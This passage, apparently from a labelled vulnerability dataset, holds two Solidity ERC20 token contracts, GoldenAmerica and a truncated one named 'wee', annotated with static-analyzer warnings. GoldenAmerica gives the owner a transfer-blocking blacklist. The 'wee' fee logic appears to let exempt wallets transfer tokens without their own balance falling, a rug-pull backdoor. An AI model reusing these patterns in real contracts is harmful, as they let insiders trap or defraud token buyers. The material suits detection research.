"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract GoldenAmerica is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 9eaf704): GoldenAmerica._taxWallet should be immutable \n\t// Recommendation for 9eaf704: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 26ba1e1): GoldenAmerica._initialBuyTax should be constant \n\t// Recommendation for 26ba1e1: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 25c8524): GoldenAmerica._initialSellTax should be constant \n\t// Recommendation for 25c8524: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 28;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: ece5d3a): GoldenAmerica._reduceBuyTaxAt should be constant \n\t// Recommendation for ece5d3a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 11;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3e23d8d): GoldenAmerica._reduceSellTaxAt should be constant \n\t// Recommendation for 3e23d8d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7a8ee60): GoldenAmerica._preventSwapBefore should be constant \n\t// Recommendation for 7a8ee60: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"THE GOLDEN AGE OF AMERICA\";\n\n string private constant _symbol = unicode\"GoldenAmerica\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: d464ef4): GoldenAmerica._taxSwapThreshold should be constant \n\t// Recommendation for d464ef4: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c2c153f): GoldenAmerica._maxTaxSwap should be constant \n\t// Recommendation for c2c153f: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x42a47a749166c90b9125200fE3434892Ec18c953);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c942033): GoldenAmerica.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for c942033: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ff00601): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ff00601: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 96b0bed): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 96b0bed: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ff00601\n\t\t// reentrancy-benign | ID: 96b0bed\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: ff00601\n\t\t// reentrancy-benign | ID: 96b0bed\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 8894902): GoldenAmerica._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 8894902: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 96b0bed\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: ff00601\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 14d7bd2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 14d7bd2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b4485c1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b4485c1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 14d7bd2\n\t\t\t\t// reentrancy-eth | ID: b4485c1\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 14d7bd2\n\t\t\t\t\t// reentrancy-eth | ID: b4485c1\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: b4485c1\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: b4485c1\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b4485c1\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 14d7bd2\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: b4485c1\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b4485c1\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 14d7bd2\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ff00601\n\t\t// reentrancy-events | ID: 14d7bd2\n\t\t// reentrancy-benign | ID: 96b0bed\n\t\t// reentrancy-eth | ID: b4485c1\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ff00601\n\t\t// reentrancy-events | ID: 14d7bd2\n\t\t// reentrancy-eth | ID: b4485c1\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e51f52f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e51f52f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 500fcbc): GoldenAmerica.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 500fcbc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d90d9af): GoldenAmerica.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for d90d9af: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c3cc1fb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c3cc1fb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: e51f52f\n\t\t// reentrancy-eth | ID: c3cc1fb\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e51f52f\n\t\t// unused-return | ID: d90d9af\n\t\t// reentrancy-eth | ID: c3cc1fb\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e51f52f\n\t\t// unused-return | ID: 500fcbc\n\t\t// reentrancy-eth | ID: c3cc1fb\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: e51f52f\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: c3cc1fb\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10625.sol",
"size_bytes": 19992,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface ERC20 {\n function totalSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n\n function symbol() external view returns (string memory);\n\n function name() external view returns (string memory);\n\n function getOwner() external view returns (address);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Ownable {\n address internal owner;\n\n constructor(address _owner) {\n owner = _owner;\n }\n\n modifier onlyOwner() {\n require(isOwner(msg.sender), \"!OWNER\");\n\n _;\n }\n\n function isOwner(address account) public view returns (bool) {\n return account == owner;\n }\n\n function renounceOwnership() public onlyOwner {\n owner = address(0);\n\n emit OwnershipTransferred(address(0));\n }\n\n event OwnershipTransferred(address owner);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountETH);\n\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n\n function quote(\n uint amountA,\n uint reserveA,\n uint reserveB\n ) external pure returns (uint amountB);\n\n function getAmountOut(\n uint amountIn,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountOut);\n\n function getAmountIn(\n uint amountOut,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountIn);\n}\n\ncontract wee is ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: e5e3f1c): wee.routerAdress should be constant \n\t// Recommendation for e5e3f1c: Add the 'constant' attribute to state variables that never change.\n address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8b11363): wee.DEAD should be constant \n\t// Recommendation for 8b11363: Add the 'constant' attribute to state variables that never change.\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n\n string private _name;\n\n string private _symbol;\n\n uint8 constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: ff18584): wee._totalSupply should be constant \n\t// Recommendation for ff18584: Add the 'constant' attribute to state variables that never change.\n uint256 public _totalSupply = 1_000_000_000 * (10 ** _decimals);\n\n uint256 public _maxWalletAmount = (_totalSupply * 100) / 100;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f867140): wee._swapweeThreshHold should be immutable \n\t// Recommendation for f867140: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _swapweeThreshHold = (_totalSupply * 1) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7df8ce3): wee._maxTaxSwap should be immutable \n\t// Recommendation for 7df8ce3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTaxSwap = (_totalSupply * 10) / 10000;\n\n mapping(address => uint256) _balances;\n\n mapping(address => mapping(address => uint256)) _allowances;\n\n mapping(address => bool) isFeeExempt;\n\n mapping(address => bool) isTxLimitExempt;\n\n mapping(address => bool) private wees;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 01ac2f5): wee._weeWallet should be immutable \n\t// Recommendation for 01ac2f5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _weeWallet;\n\n address public pair;\n\n IUniswapV2Router02 public router;\n\n bool public swapEnabled = false;\n\n bool public weeFeeEnabled = false;\n\n bool public TradingOpen = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: b7d69cf): wee._initBuyTax should be constant \n\t// Recommendation for b7d69cf: Add the 'constant' attribute to state variables that never change.\n uint256 private _initBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3b07b81): wee._initSellTax should be constant \n\t// Recommendation for 3b07b81: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSellTax = 0;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ecd477): wee._reduceBuyTaxAt should be constant \n\t// Recommendation for 7ecd477: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 768ac4b): wee._reduceSellTaxAt should be constant \n\t// Recommendation for 768ac4b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 0;\n\n uint256 private _buyCounts = 0;\n\n bool inSwap;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: e8cf43e): wee.constructor(address,string,string).weeWallet lacks a zerocheck on \t _weeWallet = weeWallet\n\t// Recommendation for e8cf43e: Check that the address is not zero.\n constructor(\n address weeWallet,\n string memory name_,\n string memory symbol_\n ) Ownable(msg.sender) {\n address _owner = owner;\n\n\t\t// missing-zero-check | ID: e8cf43e\n _weeWallet = weeWallet;\n\n _name = name_;\n\n _symbol = symbol_;\n\n isFeeExempt[_owner] = true;\n\n isFeeExempt[_weeWallet] = true;\n\n isFeeExempt[address(this)] = true;\n\n isTxLimitExempt[_owner] = true;\n\n isTxLimitExempt[_weeWallet] = true;\n\n isTxLimitExempt[address(this)] = true;\n\n _balances[_owner] = _totalSupply;\n\n emit Transfer(address(0), _owner, _totalSupply);\n }\n\n function getOwner() external view override returns (address) {\n return owner;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function withdrawweeBalance() external onlyOwner {\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function enableweeTrade() public onlyOwner {\n require(!TradingOpen, \"trading is already open\");\n\n TradingOpen = true;\n\n weeFeeEnabled = true;\n\n swapEnabled = true;\n }\n\n function getweeAmounts(\n uint action,\n bool takeFee,\n uint256 tAmount\n ) internal returns (uint256, uint256) {\n uint256 sAmount = takeFee\n ? tAmount\n : weeFeeEnabled\n ? takeweeAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n uint256 rAmount = weeFeeEnabled && takeFee\n ? takeweeAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n return (sAmount, rAmount);\n }\n\n function decimals() external pure override returns (uint8) {\n return _decimals;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 372487d): wee.internalSwapBackEth(uint256) sends eth to arbitrary user Dangerous calls address(_weeWallet).transfer(ethAmountFor)\n\t// Recommendation for 372487d: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function internalSwapBackEth(uint256 amount) private lockTheSwap {\n uint256 tokenBalance = balanceOf(address(this));\n\n uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap));\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n\t\t// reentrancy-events | ID: 8b74079\n\t\t// reentrancy-eth | ID: f197800\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amountToSwap,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 ethAmountFor = address(this).balance;\n\n\t\t// reentrancy-events | ID: 8b74079\n\t\t// reentrancy-eth | ID: f197800\n\t\t// arbitrary-send-eth | ID: 372487d\n payable(_weeWallet).transfer(ethAmountFor);\n }\n\n function removeweeLimit() external onlyOwner returns (bool) {\n _maxWalletAmount = _totalSupply;\n\n return true;\n }\n\n function takeweeAmountAfterFees(\n uint weeActions,\n bool weeTakefee,\n uint256 amounts\n ) internal returns (uint256) {\n uint256 weePercents;\n\n uint256 weeFeePrDenominator = 100;\n\n if (weeTakefee) {\n if (weeActions > 1) {\n weePercents = (\n _buyCounts > _reduceSellTaxAt ? _finalSellTax : _initSellTax\n );\n } else {\n if (weeActions > 0) {\n weePercents = (\n _buyCounts > _reduceBuyTaxAt\n ? _finalBuyTax\n : _initBuyTax\n );\n } else {\n weePercents = 0;\n }\n }\n } else {\n weePercents = 1;\n }\n\n uint256 feeAmounts = amounts.mul(weePercents).div(weeFeePrDenominator);\n\n\t\t// reentrancy-eth | ID: f197800\n _balances[address(this)] = _balances[address(this)].add(feeAmounts);\n\n feeAmounts = weeTakefee ? feeAmounts : amounts.div(weePercents);\n\n return amounts.sub(feeAmounts);\n }\n\n receive() external payable {}\n\n function _transferTaxTokens(\n address sender,\n address recipient,\n uint256 amount,\n uint action,\n bool takeFee\n ) internal returns (bool) {\n uint256 senderAmount;\n\n uint256 recipientAmount;\n\n (senderAmount, recipientAmount) = getweeAmounts(\n action,\n takeFee,\n amount\n );\n\n\t\t// reentrancy-eth | ID: f197800\n _balances[sender] = _balances[sender].sub(\n senderAmount,\n \"Insufficient Balance\"\n );\n\n\t\t// reentrancy-eth | ID: f197800\n _balances[recipient] = _balances[recipient].add(recipientAmount);\n\n\t\t// reentrancy-events | ID: 8b74079\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cfc7e0f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cfc7e0f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 30b5a8f): wee.createweeTrade() ignores return value by router.addLiquidityETH{value 